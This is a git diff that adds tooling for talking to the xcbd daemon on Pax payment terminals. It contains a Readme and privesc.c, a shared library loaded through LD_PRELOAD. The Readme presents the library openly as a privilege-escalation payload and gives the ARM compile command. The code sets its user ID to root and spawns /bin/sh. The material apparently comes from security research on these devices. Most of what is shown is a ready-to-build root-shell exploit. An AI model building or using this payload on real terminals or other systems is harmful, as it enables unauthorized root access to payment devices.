diff --git a/.gitmodules b/.gitmodules new file mode 100644 index 0000000..fecd6a1 --- /dev/null +++ b/.gitmodules @@ -0,0 +1,3 @@ +[submodule "code/prolin-xcb-client"] + path = code/prolin-xcb-client + url = https://git.lsd.cat/g/prolin-xcb-client diff --git a/code/Readme.md b/code/Readme.md new file mode 100644 index 0000000..eda995f --- /dev/null +++ b/code/Readme.md @@ -0,0 +1,12 @@ +## prolin-xcb-tools +Python-ADB fork in order to communicate with the Pax `xcbd` daemon. Supports natively directory listing, reading and writing. Port forwarding may be done trough the original `xcb` client. + +## privesc.c +The shared library used for privilege escalation. + +Compile with: + +``` +arm-none-eabi-gcc -shared -fPIC -o privesc.so privesc.c -nostartfiles -static +``` + diff --git a/code/privesc.c b/code/privesc.c new file mode 100644 index 0000000..eb815de --- /dev/null +++ b/code/privesc.c @@ -0,0 +1,14 @@ +#include +#include +#include +#include + +int _init() { + unsetenv("LD_PRELOAD"); + puts("LD_PRELOAD is working!"); + setreuid(0, 0); + setuid(0); + printf("UID: %d. EUID: %d.\n", getuid(), geteuid()); + system("/bin/sh"); + exit(0); +} diff --git a/code/prolin-xcb-client b/code/prolin-xcb-client new file mode 160000 index 0000000..8d00509 --- /dev/null +++ b/code/prolin-xcb-client @@ -0,0 +1 @@ +Subproject commit 8d00509ab221200388da9be68f406c7982f9cf60